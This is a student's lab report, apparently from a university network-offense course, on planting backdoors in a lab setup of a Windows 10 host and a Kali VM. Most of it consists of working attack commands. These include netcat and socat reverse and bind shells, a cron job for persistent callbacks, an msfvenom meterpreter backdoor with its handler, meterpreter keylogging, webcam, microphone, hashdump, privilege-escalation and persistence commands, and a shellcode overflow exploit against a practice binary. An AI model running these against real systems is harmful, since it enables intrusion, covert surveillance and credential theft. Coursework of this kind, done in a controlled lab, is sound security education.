• 2020-2 网络对抗技术 20175120 exp2 后门原理与实践


    实验内容

    (1)使用netcat获取主机操作Shell,cron启动 (0.5分)

    (2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

    (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

    (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

    (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。


    一、使用netcat获取主机操作Shell,cron启动

    使用netcat工具获取远程主机的shell

    实验准备

    因为我是用的win10平台以及linux虚拟机,kali linux本身有netcat,就只需要从附件中下载netcat至win10

    实验步骤

    一、关闭linux、Windows10防火墙

    1.关闭win10防火墙

    右键网络,点击属性,打开以下界面

    点击左下角windows defender防火墙,进入以下界面

    点击左侧启动或关闭windows defender 防火墙,设置关闭即可

    2.关闭linux防火墙

    安装ufw:apt-get install ufw

    关闭:ufw disable # To disable the firewall

    开启:ufw enable # To disable the firewall

    二、以虚拟机为监听端,获取主机shell&&以主机为监听端,获取虚拟机shell

    1.虚拟机获取主机 windows shell

    kali端输入:nc -l -p 5120 开启监听

    主机端连入kali:ncat.exe -e cmd.exe 192.168.5.250 5120,此处ip为虚拟机ip

    然后可以看到,kali连入windows shell,输入dir测试

    2.主机获取虚拟机shell

    主机输入:ncat.exe -l -p 5120,开启监听

    虚拟机端连入主机:nc 192.168.5.245 5120 -e /bin/sh此处ip为主机ip

    在win端输入ls进行测试

    三、windows为攻击端,使用cron定时启动,获取linux shell

    win端开启监听:ncat.exe -l -p 5120

    linux端输入:crontab -e,初次进入选 3,输入i编辑,

    输入43 * * * * /bin/netcat 192.168.5.245 5120 -e /bin/sh,表示在每小时的第43分钟反向连接主机的5120端口

    然后按Esc``:wq保存退出

    到时间后输入ls测试

    二、使用socat获取主机操作Shell, 任务计划启动

    实验准备

    附件中下载实验工具socat.exe

    实验步骤


    • 在任务计划程序中设置通过socat.exe打开cmd.exe

    • 在kali linux中输入socat - tcp:192.168.5.245:5120


    右键此电脑,点击管理,进入任务计划程序

    点击创建任务,填入名称

    新建触发器,设定开启时间

    新建操作,在程序或脚本中填入socat.exe的存储路径,在添加参数中填入:tcp-listen:5120 exec:cmd.exe,pty,stderr,然后确定

    等待socat.exe窗口弹出

    接下来,在linux端输入:socat - tcp:192.168.5.245:5120连入windows shell


    三、使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell


    • kali生成后门程序植入win

    • kali通过后门程序在MSF工具中对主机进行操作


    • kali端通过MSF生成可执行的后门程序

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.250 LPORT=5120 -f exe > 5120backdoor.exe

    LHOST填入虚拟机ip,LPORT填入接入端口号

    • win端接受已生成的后门程序

    ncat.exe -l 5120 > 5120backdoor.exe

    • kali 连接主机的5120端口传输文件5120backdoor.exe

    nc 192.168.5.245 5120 < 5120backdoor.exe

    可以看到文件夹中有 5120backdoor.exe


    kali端打开MSF: msfconsole

    输入以下指令:

    use exploit/multi/handler

    set payload windows/meterpreter/reverse_tcp

    设置接入ip set LHOST 192.168.5.245

    设置接入端口 set LPORT 5120

    exploit 开始监听

    • 在win10端运行5120backdoor.exe,可以在kali linux端看到已连接,输入dir可以看到已获取shell


    四、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 获取主机音频

    record_mic截取一段主音频

    • 获取主机摄像头

    webcam_snap获取主机摄像头并拍照

    • 获取主机击键记录

    keyscan_start 开始记录击键

    keyscan_dump 读取击键记录

    keyscan_stop 停止读取击键记录

    • 获取主机截屏

    screenshot

    • 提权

    getuid 查看当前用户

    getsystem 进行提权

    通过几条指令看看提权是否成功

    1. 导出主机密码

    run post/windows/gather/hashdump

    1. 在主机中安装meterpreter

    run persistence -h

    似乎失败了。。。

    再试试 run persistence -U -i 5 -p 443 -r 192.168.5.245

    成功了!


    五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell


    • 准备好 shellcode

    • 找到 pwn1 返回地址

    • 通过 MSF meterpreter 进行连接,获取 shell


    准备shellcode

    我在老师给的教程Shellcode基础中找到一个能下载 shellcode 的网站

    找到了一个能进行反弹式连接的shellcode

    从数组中提取shellcode机器码为

    x31xc9x31xdbxf7xe3xfexc1xfexc3xfexc3x66xb8x67x01xcdx80x93xfexc9x51xb2x16xb9x82x03x03x04x81xe9x03x03x03x03x51x66x68x11x5cx66x6ax02x8dx0cx24x66xb8x6ax01xcdx80x31xc9xb1x03x31xc0xb0x3fxfexc9xcdx80x75xf6x99xf7xe2x8dx08xbex2fx2fx73x68xbfx2fx62x69x6ex51x56x57x8dx1cx24xb0x0bxcdx80

    • 根据实验一的流程,我找到了 pwn1 shellcode 返回地址为 0xffffd6c0

    构建要注入的shellcode:

    perl -e 'print "A" x 32;print "xc0xd6xffxffx31xc9x31xdbxf7xe3xfexc1xfexc3xfexc3x66xb8x67x01xcdx80x93xfexc9x51xb2x16xb9x82x03x03x04x81xe9x03x03x03x03x51x66x68x11x5cx66x6ax02x8dx0cx24x66xb8x6ax01xcdx80x31xc9xb1x03x31xc0xb0x3fxfexc9xcdx80x75xf6x99xf7xe2x8dx08xbex2fx2fx73x68xbfx2fx62x69x6ex51x56x57x8dx1cx24xb0x0bxcdx80"' > input_shell

    • MSF meterpreter 获取 shell

    输入 (cat input_shell;cat) | ./pwn1 进行注入,回车看到乱码显示

    打开另一个终端,启动 MSF 控制台 msfconsole

    准备开启监听

    use exploit/multi/handler
    
    set payload windows/meterpreter/reverse_tcp
    
    set LHOST 127.0.0.1
    
    set LPORT 4444
    

    连接成功!

    思考与总结

    基础问题回答

    • (1)例举你能想到的一个后门进入到你系统中的可能方式?

    网页下载文件时,要求用下载器,进行捆绑下载,捆绑文件中含有后门程序,程序通过隐藏进入系统

    • (2)例举你知道的后门如何启动起来(win及linux)的方式?

    开机自启动(通过修改注册表、植入主机自启动文件夹)
    定时启动(设定固定)

    • (3)Meterpreter有哪些给你映像深刻的功能?

    Meterpreter能够窃听受害机的许多隐秘信息,如密码、机密文件、击键记录;同时还能通过受害机摄像头对受害机使用者的所处场所进行拍照,获取更多隐私信息。

    • (4)如何发现自己有系统有没有被安装后门?

    通过杀软定时对计算机进行病毒检测;查看计算机日志,有没有可疑的记录

    实验中遇到的问题

    在内容一使用nc,主机作为监听端,获取虚拟机shell时,连接不成功

    原因:主机防火墙未关闭,在我关闭主机防火墙后连接成功

    实验总结

    这次实验操作较多,知识性没有第一次实验强,但仍然出现了很多问题,很多因为指令输错,检查不到位而出现的结果错误,但我都一一解决。这次实验我学会了使用netcat、socat、MSF meterpreter三种工具进行后门实践,对现在的后门程序的功能有了更加深入的了解,同时也提高了我对于网络安全重要性的认识,以及学习这门课程的兴趣。如今我还只接触到了网络安全攻击方式的冰山一角,但单单meterpreter工具的功能就如此强大,我觉得我需要更多的知识来丰富自己的网络安全意识,以应对未来更多防不胜防的网络安全攻击。

  • 相关阅读:
    nginx的配置
    laravel入门
    Laravel5.6整合swagger
    安装arcgis10.2 for desktop需要microsoft.net framework 3.5 sp1或等效环境 解决方案
    Python 安装numpy-1.16.6+mkl-cp27-cp27m-win-amd64.whl和
    Leetcode-链表
    Java-排序-leetcode刷题
    async await要点
    nodejs查询数据库时,sql的空格和关键字问题
    输入mysql -u root -p 报错:ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)
  • 原文地址:https://www.cnblogs.com/1751-pyc/p/12494695.html
Copyright © 2020-2023  润新知